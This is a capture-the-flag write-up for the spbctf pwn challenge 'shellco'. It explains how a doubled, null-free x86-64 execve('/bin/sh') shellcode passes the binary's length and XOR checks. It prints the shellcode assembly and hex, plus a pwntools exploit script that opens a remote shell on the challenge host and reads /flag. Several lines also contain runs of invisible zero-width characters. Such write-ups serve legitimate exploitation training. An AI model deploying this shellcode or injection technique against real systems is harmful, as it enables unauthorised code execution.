← Back to Writeups
CUSTOMEasypwn

shellco — null-free XOR-halved shellcode

XESXOR9/2/20263 min read
#pwn#custom#easy#duplicated_shellcode_trick#null_free_execve#stdin_shell_command_passthroug#linux

shellco — null-free XOR-halved shellcode

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: duplicated_shellcode_trick, null_free_execve, stdin_shell_command_passthrough

Summary

Task: shellcode runner with three constraints — no NUL bytes, even length, and XOR of first half of bytes equal to XOR of second half. Solution: take a 23-byte null-free execve('/bin/sh') payload and concatenate it with itself (46 bytes, even length, halves identical, so XORs trivially match); pad the remainder of the 0x1000 read with NULs so read() returns immediately, then send shell commands on the same stdin.

shellco — SPB CTF Pwn Season

Description

10 pts, dobor nc 109.233.56.90 11512 Flag is at /flag.

Binary: x86-64 PIE, NX, Full RELRO, no canary.

Analysis

main performs the following, in order:

  1. buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0) — an RWX page.
  2. read(0, buf, 0x1000) — up to 4096 bytes of input into the RWX page.
  3. len = strlen(buf) — stops at the first NUL. len must be even, otherwise "nice joke...".
  4. Splits buf in halves of len/2 bytes each and XORs every byte in each half. If the two XOR checksums differ → "Bye byte...".
  5. Otherwise ((void(*)())buf)() — executes the shellcode. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

So the shellcode must satisfy three constraints simultaneously:

  • No NUL bytes (otherwise strlen sees a shorter payload and parity/XOR is computed against the wrong region).
  • Even length after NUL truncation.
  • XOR-of-bytes over the first half == XOR-of-bytes over the second half.

Solution

Any self-contained null-free execve("/bin/sh") shellcode works, but easiest is to duplicate the payload. If both halves are byte-identical, their XOR checksums are trivially equal, and execution flows through the first half and never reaches the second copy. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A classic 23-byte null-free execve("/bin/sh"):

asm
BITS 64
xor esi, esi
push rsi
mov rbx, 0x68732f2f6e69622f    ; "/bin//sh"
push rbx
push rsp
pop rdi                        ; rdi = "/bin//sh"
push rsi
pop rdx                        ; rdx = 0
push 0x3b
pop rax                        ; rax = 59 (execve)
syscall

Hex dump (23 bytes): 31f65648bb2f62696e2f2f736853545f565a6a3b580f05.

Doubled payload (46 bytes): even length, zero NULs, identical halves → passes all three checks.

The other subtle part is command delivery. read(0, buf, 0x1000) returns as soon as either 0x1000 bytes have arrived or stdin reaches EOF. To avoid shutting down stdin (which would also kill the eventual shell) we send exactly 0x1000 bytes: 46 bytes of shellcode followed by 0x1000 - 46 NUL bytes. The NULs make read return immediately without closing stdin, strlen still sees length 46, and when execve("/bin/sh") fires the shell inherits the open stdin so the next sendline lands as a shell command. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
from pwn import *

HOST, PORT = "109.233.56.90", 11512

sc = bytes.fromhex("31f65648bb2f62696e2f2f736853545f565a6a3b580f05")
assert len(sc) == 23 and b'\x00' not in sc

payload = sc + sc                        # 46 bytes, even, halves identical
full = payload + b'\x00' * (0x1000 - len(payload))
assert len(full) == 0x1000

p = remote(HOST, PORT)
p.recvuntil(b"bytes...")
p.send(full)

p.sendline(b"cat /flag; ls -la /")
p.sendline(b"exit")
print(p.recvall(timeout=5).decode('latin-1', errors='replace'))

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍